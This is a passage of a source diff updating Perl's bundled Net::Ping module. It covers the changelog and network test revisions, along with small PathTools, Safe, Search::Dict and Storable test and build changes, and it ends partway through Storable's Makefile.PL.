+2.58 Wed Feb 1 19:34:03 CET 2017 (rurban)
+ Features
+ - return the port num as 5th return value with ack (jfraire)
+
+2.57 Wed Feb 1 19:34:03 CET 2017 (rurban)
+ Bugfixes
+ - Resigned with new gpg key
+
+2.56 Wed Jan 18 16:00:00 2017 -0700 (bbb)
+ Bugfixes
+ - Stabilize tests
+
+2.55 Thu Oct 20 09:16:06 2016 +0200 (rurban)
+
+ Bugfixes
+ - Skip sudo for t/500_ping_icmp.t if a prompt is required
+ [RT #118451]
+
+2.54 Thu Oct 20 09:16:06 2016 +0200 (rurban)
+
+ Bugfixes
+ - Fixed ping_external argument type, either packed ip or hostname.
+ [RT #113825]
+ - Fixed wrong skip message in t/020_external.t
+
+2.53 Thu Oct 20 09:16:06 2016 +0200 (rurban)
+
+ Bugfixes
+ - Relax icmp tests on local firewalls, eg. as here on windows reported
+ by kmx. [RT #118441]
+
+ Internals
+ - Enhanced .travis.yml
+
+2.52 Tue Oct 18 16:29:29 2016 +0200 (rurban)
+ version in cperl since 5.25.2c
+
+ Bugfixes
+ - Fixed _pack_sockaddr_in for a proper 2nd argument type, hash or packed address.
+ - Improved 500_ping_icmp.t to try sudo.
+
+ Internals
+ - Converted all hash string keys to bare.
+
+2.51 Mon Oct 17 16:11:03 2016 +0200 (rurban)
+ version in cperl since 5.25.2c
+
+ Bugfixes
+ - Fixed missing _unpack_sockaddr_in family, which took AF_INET6 for
+ a AF_INET addr in t/500_ping_icmp.t and t/500_ping_icmp_ttl.t.
+ Use now a proper default.
+
+2.50 Sat Apr 16 11:50:20 2016 +0200 (rurban)
+ version in cperl since 5.22.2c
+
+ Features
+ - Handle IPv6 addresses and the AF_INET6 family.
+ - Added the optional family argument to most methods.
+ valid values: 6, "v6", "ip6", "ipv6", AF_INET6
+ - new can take now named arguments, a hashref.
+ - Added the following named arguments to new:
+ gateway host port bind retrans pingstring source_verify econnrefused
+ IPV6_USE_MIN_MTU IPV6_RECVPATHMTU IPV6_HOPLIMIT
+ - Added a dontfrag option, setting IP_DONTFRAG and on linux
+ also IP_MTU_DISCOVER to IP_PMTUDISC_DO. Note that is ignored if
+ Socket does not export IP_DONTFRAG.
+ - Added the wakeonlan method
+ - Improve argument default handling
+ - Added missing documentation
+
+ Bugfixes
+ - Reapply tos with ping_udp, when the address is changed.
+ RT #6706 (Torgny.Hofstedt@sevenlevels.se)
+ ditto re-bind to a device.
+
+ Internals
+ - $ip is now a hash with {addr, addr_in, family} not the addr_in packed IP.
+ - added _resolv replacing inet_aton,
+ _pack_sockaddr_in and _unpack_sockaddr_in replacing sockaddr_in,
+ _inet_ntoa replacing inet_ntoa
+ - Use _isroot helper, with Win32 _IsAdminUser helper.
+ - added several new tests (Steve Peters)
+
+2.43 Mon Apr 29 00:23:56 2013 -0300
+ version in perl core since 5.19.9
+ Bugfixes
+ - Handle getprotobyn{ame,umber} not being available
+2.42 Sun May 26 19:08:46 2013 -0700
+ version in perl core since 5.19.1
+ Bugfixes
+ - Stabilize tests
+ Internals
+ - wrap long pod lines
2.41 Mar 17 09:35 2013
Bugfixes
- Windows Vista does not appear to support inet_ntop(). It seems to
@@ -7,31 +118,31 @@ CHANGES
and passing in the NI_NUMERICHOST to get an IP address.
Features
- Change Net::Ping to use Time::HiRes::time() instead of CORE::time()
- by default. For most successful cases, CORE::time() returned zero.
+ by default. For most successful cases, CORE::time() returned zero.
2.40 Mar 15 11:20 2013
Bugfixes
- - several fixes to tests to stop the black smoke on Win32's
+ - several fixes to tests to stop the black smoke on Win32's
and Cygwin since the core updated the module to Test::More.
I had planned a later release, but all the black smoke is
forcing a release.
- - fixes to some skips in tests that were still using the
+ - fixes to some skips in tests that were still using the
Test style skip's.
- Documentation fix for https://rt.cpan.org/Ticket/Display.html?id=48014.
Thanks to Keith Taylor <keith@supanet.net.uk>
- - Instead of using a hard-coded TOS value, import IP_TOS from
- Socket. This fixes an outstanding bug on Solaris which uses a
+ - Instead of using a hard-coded TOS value, import IP_TOS from
+ Socket. This fixes an outstanding bug on Solaris which uses a
different value for IP_TOS in it headers than Linux. I'm assuming
other OS's were fixed with this change as well.
Features
- - added TTL handling for icmp pings to allow traceroute like
- applications to be built with Net::Ping. Thanks to
+ - added TTL handling for icmp pings to allow traceroute like
+ applications to be built with Net::Ping. Thanks to
<rolek@bokxing.nl> for the patch and tests!
Internals
- - replaced SOL_IP with IPPROTO_IP. SOL_IP is not portable and was
+ - replaced SOL_IP with IPPROTO_IP. SOL_IP is not portable and was
hard-coded anyway.
- - added IPPROTO_IP, IP_TOS, IP_TTL, and AF_INET to the list of Socket
+ - added IPPROTO_IP, IP_TOS, IP_TTL, and AF_INET to the list of Socket
constants imported.
- removed some hard-coded constants.
- converted all calls to inet_ntoa() to inet_ntop() in preparation
@@ -56,7 +167,7 @@ CHANGES
- release to include a few fixes from the Perl core
2.35 Feb 08 14:42 2008
- - Patch in Perl change #33242 by Nicholas Clark
+ - Patch in Perl change #33242 by Nicholas Clark
<http://perl5.git.perl.org/perl.git/commit/5d6b07c5a4c042580b85248d570ee299fd102a79>
2.34 Dec 19 08:51 2007
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t b/gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t
new file mode 100644
index 00000000000..87f55d93d95
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t
@@ -0,0 +1,16 @@
+#!perl -T
+use 5.006;
+use strict;
+use warnings FATAL => 'all';
+use Test::More;
+
+plan tests => 3;
+
+BEGIN {
+ use_ok( 'Socket' ) || print "No Socket!\n";
+ use_ok( 'Time::HiRes' ) || print "No Time::HiRes!\n";
+ use_ok( 'Net::Ping' ) || print "No Net::Ping!\n";
+}
+
+note( "Testing Net::Ping $Net::Ping::VERSION, Perl $], $^X" );
+
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t b/gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t
new file mode 100644
index 00000000000..a51279e0a6c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t
@@ -0,0 +1,73 @@
+use warnings;
+use strict;
+
+BEGIN {
+ unless (my $port = getservbyname('echo', 'tcp')) {
+ print "1..0 \# Skip: no echo port\n";
+ exit;
+ }
+}
+
+use Test::More qw(no_plan);
+BEGIN {use_ok('Net::Ping')};
+
+# plain ol' constuctor call
+my $p = Net::Ping->new();
+isa_ok($p, "Net::Ping");
+
+# call new from an instantiated object
+my $p2 = $p->new();
+isa_ok($p2, "Net::Ping");
+
+# named args
+my $p3 = Net::Ping->new({proto => 'tcp', ttl => 5});
+isa_ok($p3, "Net::Ping");
+
+# check for invalid proto
+eval {
+ $p = Net::Ping->new("thwackkk");
+};
+like($@, qr/Protocol for ping must be "icmp", "icmpv6", "udp", "tcp", "syn", "stream" or "external"/, "new() errors for invalid protocol");
+
+# check for invalid timeout
+eval {
+ $p = Net::Ping->new("tcp", -1);
+};
+like($@, qr/Default timeout for ping must be greater than 0 seconds/, "new() errors for invalid timeout");
+
+# check for invalid data sizes
+eval {
+ $p = Net::Ping->new("udp", 10, -1);
+};
+like($@, qr/Data for ping must be from/, "new() errors for invalid data size");
+
+eval {
+ $p = Net::Ping->new("udp", 10, 1025);
+};
+like($@, qr/Data for ping must be from/, "new() errors for invalid data size");
+
+# force failures for udp
+
+
+# force failures for tcp
+SKIP: {
+ note "Checking icmp";
+ eval { $p = Net::Ping->new('icmp'); };
+ skip "icmp ping requires root privileges.", 3
+ if !Net::Ping::_isroot() or $^O eq 'MSWin32';
+ if($> and $^O ne 'VMS' and $^O ne 'cygwin') {
+ like($@, qr/icmp ping requires root privilege/, "Need root for icmp");
+ skip "icmp tests require root", 2;
+ } else {
+ isa_ok($p, "Net::Ping");
+ }
+
+ # set IP TOS to "Minimum Delay"
+ $p = Net::Ping->new("icmp", undef, undef, undef, 8);
+ isa_ok($p, "Net::Ping");
+
+ # This really shouldn't work. Not sure who to blame.
+ $p = Net::Ping->new("icmp", undef, undef, undef, "does this fail");
+ isa_ok($p, "Net::Ping");
+}
+
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t b/gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t
new file mode 100644
index 00000000000..90a934a0b10
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t
@@ -0,0 +1,19 @@
+use warnings;
+use strict;
+
+BEGIN {
+ unless (my $port = getservbyname('echo', 'tcp')) {
+ print "1..0 \# Skip: no echo port\n";
+ exit;
+ }
+}
+
+use Test::More tests => 2;
+BEGIN {use_ok('Net::Ping')};
+
+TODO: {
+ local $TODO = "Not working on os390 smoker; may be a permissions problem"
+ if $^O eq 'os390';
+ my $result = pingecho("127.0.0.1");
+ is($result, 1, "pingecho works");
+}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t b/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t
index deddd8f8415..b7f02084f3b 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t
@@ -20,18 +20,7 @@ BEGIN {use_ok('Net::Ping')};
SKIP: {
skip "icmp ping requires root privileges.", 1
- if ($> and $^O ne 'VMS' and $^O ne 'cygwin')
- or (($^O eq 'MSWin32' or $^O eq 'cygwin')
- and !IsAdminUser())
- or ($^O eq 'VMS'
- and (`write sys\$output f\$privilege("SYSPRV")` =~ m/FALSE/));
+ unless &Net::Ping::_isroot;
my $p = new Net::Ping "icmp";
isa_ok($p, 'Net::Ping', 'object can be instantiated for icmp protocol');
}
-
-sub IsAdminUser {
- return unless $^O eq 'MSWin32' or $^O eq 'cygwin';
- return unless eval { require Win32 };
- return unless defined &Win32::IsAdminUser;
- return Win32::IsAdminUser();
-}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t b/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t
index 8ef4fb78fbc..a26b2f1b3d3 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t
@@ -28,7 +28,7 @@ BEGIN {
#
# $ PERL_CORE=1 make test
-use Test::More tests => 13;
+use Test::More tests => 12;
BEGIN {use_ok('Net::Ping');}
my $p = new Net::Ping "tcp",9;
@@ -50,8 +50,13 @@ is($p->ping("172.29.249.249"), 0, "Can't reach 172.29.249.249");
# Test a few remote servers
# Hopefully they are up when the tests are run.
-foreach (qw(www.geocities.com www.wisc.edu
- www.freeservers.com ftp.freeservers.com
- yahoo.com www.yahoo.com www.about.com)) {
+if ($p->ping('google.com')) { # check for firewall
+ foreach (qw(google.com www.google.com www.wisc.edu
+ yahoo.com www.yahoo.com www.about.com)) {
isnt($p->ping($_), 0, "Can ping $_");
+ }
+} else {
+ SKIP: {
+ skip "Cannot ping google.com: no TCP connection or firewall", 6;
+ }
}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t b/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t
index e1cfcba2eaf..edad0fc5fca 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t
@@ -4,7 +4,7 @@ BEGIN {
if ($ENV{PERL_CORE}) {
unless ($ENV{PERL_TEST_Net_Ping}) {
print "1..0 # Skip: network dependent test\n";
- exit;
+ exit;
}
}
unless (eval "require Socket") {
@@ -33,25 +33,22 @@ BEGIN {
# $ PERL_CORE=1 make test
# Try a few remote servers
-my %webs;
-BEGIN {
- %webs = (
+my %webs = (
# Hopefully this is never a routeable host
"172.29.249.249" => 0,
# Hopefully all these web ports are open
- "www.geocities.com." => 1,
"www.freeservers.com." => 1,
"yahoo.com." => 1,
"www.yahoo.com." => 1,
"www.about.com." => 1,
"www.microsoft.com." => 1,
);
-}
-use Test::More tests => 3 + 2 * keys %webs;
+use Test::More;
+plan tests => 3 + 2 * keys %webs;
-BEGIN {use_ok('Net::Ping')};
+use_ok('Net::Ping');
my $can_alarm = eval {alarm 0; 1;};
@@ -73,6 +70,13 @@ isa_ok($p, 'Net::Ping', 'new() worked');
# (Make sure getservbyname works in scalar context.)
cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'valid port');
+# check if network is up
+eval { $p->ping('www.google.com.'); };
+if ($@ =~ /getaddrinfo.*failed/) {
+ ok(1, "skip $@");
+ ok(1, "skip") for 0..12;
+ exit;
+}
foreach my $host (keys %webs) {
# ping() does dns resolution and
# only sends the SYN at this point
@@ -80,13 +84,23 @@ foreach my $host (keys %webs) {
is($p->ping($host), 1, "Can reach $host [" . ($p->{bad}->{$host} || "") . "]");
}
+my $failed;
Alarm(20);
while (my $host = $p->ack()) {
- is($webs{$host}, 1, "supposed to be up: http://$host/");
+ next if $host eq 'www.google.com.';
+ $failed += !is($webs{$host}, 1, "supposed to be up: http://$host/");
delete $webs{$host};
}
Alarm(0);
foreach my $host (keys %webs) {
- is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ $failed += !is($webs{$host}, 0,
+ "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+}
+
+if ($failed) {
+ diag ("NOTE: ",
+ "Network connectivity will be required for all tests to pass.\n",
+ "Firewalls may also cause some tests to fail, so test it ",
+ "on a clear network.");
}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t b/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t
index 82b38203722..8e89e32ac8d 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t
@@ -41,7 +41,7 @@ BEGIN {
"172.29.249.249" => 0,
# Hopefully all these web ports are open
- "www.geocities.com." => 1,
+ "www.google.com." => 1,
"www.freeservers.com." => 1,
"yahoo.com." => 1,
"www.yahoo.com." => 1,
@@ -69,11 +69,11 @@ $SIG{ALRM} = sub {
my $p = new Net::Ping "syn", 10;
-isa_ok($p, 'Net::Ping', 'new() worked');
+isa_ok($p, 'Net::Ping', 'new(syn, 10) worked');
# Change to use the more common web port.
# (Make sure getservbyname works in scalar context.)
-cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'vaid port');
+cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'valid port');
foreach my $host (keys %webs) {
# ping() does dns resolution and
@@ -86,9 +86,17 @@ Alarm(20);
foreach my $host (sort keys %webs) {
my $on = $p->ack($host);
if ($on) {
- is($webs{$host}, 1, "supposed to be up: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
- } else {
- is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ if ($webs{$host}) {
+ is($webs{$host}, 1, "ack: supposed to be up http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ } else {
+ ok("TODO ack: supposed to be up: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ }
+ } else {
+ if (!$webs{$host}) {
+ is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ } else {
+ ok("TODO ack: supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ }
}
delete $webs{$host};
Alarm(20);
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t b/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t
index 62855ff54f0..a9175bae7bd 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t
@@ -4,34 +4,31 @@
use strict;
use Config;
+use Test::More;
BEGIN {
unless (eval "require Socket") {
- print "1..0 \# Skip: no Socket\n";
- exit;
+ plan skip_all => 'no Socket';
}
unless ($Config{d_getpbyname}) {
- print "1..0 \# Skip: no getprotobyname\n";
- exit;
+ plan skip_all => 'no getprotobyname';
}
}
-use Test::More tests => 2;
BEGIN {use_ok('Net::Ping')};
SKIP: {
skip "icmp ping requires root privileges.", 1
- if ($> and $^O ne 'VMS' and $^O ne 'cygwin')
- or (($^O eq 'MSWin32' or $^O eq 'cygwin')
- and !IsAdminUser())
- or ($^O eq 'VMS'
- and (`write sys\$output f\$privilege("SYSPRV")` =~ m/FALSE/));
+ if !Net::Ping::_isroot() or $^O eq 'MSWin32';
my $p = new Net::Ping "icmp";
- is($p->ping("127.0.0.1"), 1, "icmp ping 127.0.0.1");
+ my $result = $p->ping("127.0.0.1");
+ if ($result == 1) {
+ is($result, 1, "icmp ping 127.0.0.1");
+ } else {
+ TODO: {
+ local $TODO = "icmp firewalled?";
+ is($result, 1, "icmp ping 127.0.0.1");
+ }
+ }
}
-sub IsAdminUser {
- return unless $^O eq 'MSWin32' or $^O eq "cygwin";
- return unless eval { require Win32 };
- return unless defined &Win32::IsAdminUser;
- return Win32::IsAdminUser();
-}
+done_testing;
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t b/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t
index aa48e9008b9..025e9803927 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t
@@ -21,6 +21,7 @@ SKIP: {
skip "No udp echo port", 1 unless getservbyname('echo', 'udp');
skip "udp ping blocked by Window's default settings", 1 if isWindowsVista();
skip "No getprotobyname", 1 unless $Config{d_getpbyname};
+ skip "Not allowed on $^O", 1 if $^O =~ /^(hpux|irix|aix)$/;
my $p = new Net::Ping "udp";
is($p->ping("127.0.0.1"), 1);
}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t b/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t
index 75c8c49586e..d68793aa6fa 100644
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t
@@ -19,11 +19,7 @@ BEGIN {use_ok('Net::Ping')};
SKIP: {
skip "icmp ping requires root privileges.", 1
- if ($> and $^O ne 'VMS' and $^O ne 'cygwin')
- or (($^O eq 'MSWin32' or $^O eq 'cygwin')
- and !IsAdminUser())
- or ($^O eq 'VMS'
- and (`write sys\$output f\$privilege("SYSPRV")` =~ m/FALSE/));
+ if !Net::Ping::_isroot() or $^O eq 'MSWin32';
my $p = new Net::Ping ("icmp",undef,undef,undef,undef,undef);
isa_ok($p, 'Net::Ping');
ok $p->ping("127.0.0.1");
@@ -44,10 +40,3 @@ SKIP: {
ok $p->ping("127.0.0.1");
$p->close();
}
-
-sub IsAdminUser {
- return unless $^O eq 'MSWin32' or $^O eq "cygwin";
- return unless eval { require Win32 };
- return unless defined &Win32::IsAdminUser;
- return Win32::IsAdminUser();
-}
diff --git a/gnu/usr.bin/perl/dist/PathTools/MANIFEST b/gnu/usr.bin/perl/dist/PathTools/MANIFEST
new file mode 100644
index 00000000000..84d5058476b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/MANIFEST
@@ -0,0 +1,29 @@
+Changes
+Cwd.pm
+Cwd.xs
+lib/File/Spec.pm
+lib/File/Spec/AmigaOS.pm
+lib/File/Spec/Cygwin.pm
+lib/File/Spec/Epoc.pm
+lib/File/Spec/Functions.pm
+lib/File/Spec/Mac.pm
+lib/File/Spec/OS2.pm
+lib/File/Spec/Unix.pm
+lib/File/Spec/VMS.pm
+lib/File/Spec/Win32.pm
+Makefile.PL
+MANIFEST This list of files
+META.json
+META.yml
+ppport.h
+t/abs2rel.t
+t/crossplatform.t
+t/cwd.t
+t/cwd_enoent.t
+t/Functions.t
+t/rel2abs2rel.t
+t/Spec-taint.t
+t/Spec.t
+t/taint.t
+t/tmpdir.t
+t/win32.t
diff --git a/gnu/usr.bin/perl/dist/PathTools/META.json b/gnu/usr.bin/perl/dist/PathTools/META.json
new file mode 100644
index 00000000000..ad429a5d32c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/META.json
@@ -0,0 +1,55 @@
+{
+ "abstract" : "Tools for working with directory and file names",
+ "author" : [
+ "Perl 5 Porters"
+ ],
+ "dynamic_config" : 1,
+ "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010",
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : "2"
+ },
+ "name" : "PathTools",
+ "no_index" : {
+ "directory" : [
+ "t",
+ "inc"
+ ]
+ },
+ "prereqs" : {
+ "build" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ },
+ "configure" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ },
+ "runtime" : {
+ "requires" : {
+ "Carp" : "0",
+ "File::Basename" : "0",
+ "Scalar::Util" : "0",
+ "Test::More" : "0.88"
+ }
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "bugtracker" : {
+ "web" : "https://rt.perl.org/rt3/"
+ },
+ "homepage" : "http://dev.perl.org/",
+ "repository" : {
+ "type" : "git",
+ "url" : "git://perl5.git.perl.org/perl.git"
+ }
+ },
+ "version" : "3.73",
+ "x_serialization_backend" : "JSON::PP version 2.27400_02"
+}
diff --git a/gnu/usr.bin/perl/dist/PathTools/META.yml b/gnu/usr.bin/perl/dist/PathTools/META.yml
new file mode 100644
index 00000000000..c2adfcfd31c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/META.yml
@@ -0,0 +1,30 @@
+---
+abstract: 'Tools for working with directory and file names'
+author:
+ - 'Perl 5 Porters'
+build_requires:
+ ExtUtils::MakeMaker: '0'
+configure_requires:
+ ExtUtils::MakeMaker: '0'
+dynamic_config: 1
+generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: '1.4'
+name: PathTools
+no_index:
+ directory:
+ - t
+ - inc
+requires:
+ Carp: '0'
+ File::Basename: '0'
+ Scalar::Util: '0'
+ Test::More: '0.88'
+resources:
+ bugtracker: https://rt.perl.org/rt3/
+ homepage: http://dev.perl.org/
+ repository: git://perl5.git.perl.org/perl.git
+version: '3.73'
+x_serialization_backend: 'CPAN::Meta::YAML version 0.018'
diff --git a/gnu/usr.bin/perl/dist/PathTools/t/cwd.t b/gnu/usr.bin/perl/dist/PathTools/t/cwd.t
index 57fd866fbdb..483b4378d52 100644
--- a/gnu/usr.bin/perl/dist/PathTools/t/cwd.t
+++ b/gnu/usr.bin/perl/dist/PathTools/t/cwd.t
@@ -145,7 +145,7 @@ Cwd::chdir $Test_Dir;
foreach my $func (qw(cwd getcwd fastcwd fastgetcwd)) {
my $result = eval "$func()";
- is $@, '';
+ is $@, '', "No exception for ${func}() in string eval";
dir_ends_with( $result, $Test_Dir, "$func()" );
}
@@ -171,7 +171,7 @@ rmtree($test_dirs[0], 0, 0);
my $check = ($vms_mode ? qr|\b((?i)t)\]$| :
qr|\bt$| );
- like($ENV{PWD}, $check);
+ like($ENV{PWD}, $check, "We're in a 't' directory");
}
{
@@ -179,7 +179,7 @@ rmtree($test_dirs[0], 0, 0);
my $start_pwd = $ENV{PWD};
mkpath([$Test_Dir], 0, 0777);
Cwd::abs_path($Test_Dir);
- is $ENV{PWD}, $start_pwd;
+ is $ENV{PWD}, $start_pwd, "abs_path() does not trample \$ENV{PWD}";
rmtree($test_dirs[0], 0, 0);
}
@@ -192,6 +192,7 @@ SKIP: {
my $abs_path = Cwd::abs_path($file);
my $fast_abs_path = Cwd::fast_abs_path($file);
+ my $pas = Cwd::_perl_abs_path($file);
my $want = quotemeta(
File::Spec->rel2abs( $Test_Dir )
);
@@ -205,9 +206,9 @@ SKIP: {
$want = quotemeta($want);
}
- like($abs_path, qr|$want$|i);
- like($fast_abs_path, qr|$want$|i);
- like(Cwd::_perl_abs_path($file), qr|$want$|i) if $EXTRA_ABSPATH_TESTS;
+ like($abs_path, qr|$want$|i, "Cwd::abs_path produced $abs_path");
+ like($fast_abs_path, qr|$want$|i, "Cwd::fast_abs_path produced $fast_abs_path");
+ like($pas, qr|$want$|i, "Cwd::_perl_abs_path produced $pas") if $EXTRA_ABSPATH_TESTS;
rmtree($test_dirs[0], 0, 0);
1 while unlink $file;
@@ -248,8 +249,8 @@ SKIP: {
SKIP: {
my $dir = "${$}a\nx";
- mkdir $dir or skip "OS does not support dir names containing LF";
- chdir $dir or skip "OS cannot chdir into LF";
+ mkdir $dir or skip "OS does not support dir names containing LF", 1;
+ chdir $dir or skip "OS cannot chdir into LF", 1;
eval { Cwd::fast_abs_path() };
is $@, "", 'fast_abs_path does not die in dir whose name contains LF';
chdir File::Spec->updir;
diff --git a/gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t b/gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t
new file mode 100644
index 00000000000..8f3a1fb1fb3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/PathTools/t/cwd_enoent.t
@@ -0,0 +1,52 @@
+use warnings;
+use strict;
+
+use Config;
+use Errno qw(ENOENT);
+use File::Temp qw(tempdir);
+use Test::More;
+
+if($^O eq "cygwin") {
+ # This test skipping should be removed when the Cygwin bug is fixed.
+ plan skip_all => "getcwd() fails to fail on Cygwin [perl #132733]";
+}
+
+my $tmp = tempdir(CLEANUP => 1);
+unless(mkdir("$tmp/testdir") && chdir("$tmp/testdir") && rmdir("$tmp/testdir")){
+ plan skip_all => "can't be in non-existent directory";
+}
+
+plan tests => 8;
+require Cwd;
+
+foreach my $type (qw(regular perl)) {
+ SKIP: {
+ skip "_perl_abs_path() not expected to work", 4
+ if $type eq "perl" &&
+ !(($Config{prefix} =~ m/\//) && $^O ne "cygwin");
+
+ skip "getcwd() doesn't fail on non-existent directories on this platform", 4
+ if $type eq 'regular' && $^O eq 'dragonfly';
+
+ no warnings "redefine";
+ local *Cwd::abs_path = \&Cwd::_perl_abs_path if $type eq "perl";
+ local *Cwd::getcwd = \&Cwd::_perl_getcwd if $type eq "perl";
+ my($res, $eno);
+ $! = 0;
+ $res = Cwd::getcwd();
+ $eno = 0+$!;
+ is $res, undef, "$type getcwd result on non-existent directory";
+ is $eno, ENOENT, "$type getcwd errno on non-existent directory";
+ $! = 0;
+ $res = Cwd::abs_path(".");
+ $eno = 0+$!;
+ is $res, undef, "$type abs_path result on non-existent directory";
+ is $eno, ENOENT, "$type abs_path errno on non-existent directory";
+ }
+}
+
+chdir $tmp or die "$tmp: $!";
+
+END { chdir $tmp; }
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Safe/t/safe1.t b/gnu/usr.bin/perl/dist/Safe/t/safe1.t
index f22bb1bfaea..0f3d8e88d6a 100755
--- a/gnu/usr.bin/perl/dist/Safe/t/safe1.t
+++ b/gnu/usr.bin/perl/dist/Safe/t/safe1.t
@@ -14,7 +14,7 @@ BEGIN {
package test; # test from somewhere other than main
-use vars qw($bar);
+our $bar;
use Opcode 1.00, qw(opdesc opset opset_to_ops opset_to_hex
opmask_add full_opset empty_opset opcodes opmask define_optag);
diff --git a/gnu/usr.bin/perl/dist/Safe/t/safe3.t b/gnu/usr.bin/perl/dist/Safe/t/safe3.t
index 1f99f49ed92..c1b59c07f49 100755
--- a/gnu/usr.bin/perl/dist/Safe/t/safe3.t
+++ b/gnu/usr.bin/perl/dist/Safe/t/safe3.t
@@ -38,7 +38,7 @@ print $fh <<EOF;
\$_[1] = "\0" x $masksize;
EOF
close $fh;
-$safe2->rdo('nasty.pl');
+$safe2->rdo('./nasty.pl');
$safe2->reval( q{$x + $y} );
# Written this way to keep the Test::More that comes with perl 5.6.2 happy
ok( $@ =~ /^'?addition \(\+\)'? trapped by operation mask/,
diff --git a/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t b/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t
index bc997b05d2b..21b226e09c7 100644
--- a/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t
+++ b/gnu/usr.bin/perl/dist/Search-Dict/t/Dict.t
@@ -38,7 +38,7 @@ EOT
use Tie::Handle; # loads Tie::StdHandle
use Search::Dict;
-open(DICT, "+>dict-$$") or die "Can't create dict-$$: $!";
+open(DICT, '+>', "dict-$$") or die "Can't create dict-$$: $!";
binmode DICT; # To make length expected one.
print DICT $DICT;
diff --git a/gnu/usr.bin/perl/dist/Storable/Makefile.PL b/gnu/usr.bin/perl/dist/Storable/Makefile.PL
index 23111299f5d..697750566de 100644
--- a/gnu/usr.bin/perl/dist/Storable/Makefile.PL
+++ b/gnu/usr.bin/perl/dist/Storable/Makefile.PL
@@ -1,29 +1,55 @@
#
# Copyright (c) 1995-2000, Raphael Manfredi
+# Copyright (c) 2017, Reini Urban
#
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
+use strict;
use ExtUtils::MakeMaker;
use Config;
+use File::Copy qw(move copy);
+use File::Spec;
+
+unlink "lib/Storable/Limit.pm";
+
+my $pm = { 'Storable.pm' => '$(INST_ARCHLIB)/Storable.pm' };
+unless ($ENV{PERL_CORE}) {
+ # the core Makefile takes care of this for core builds
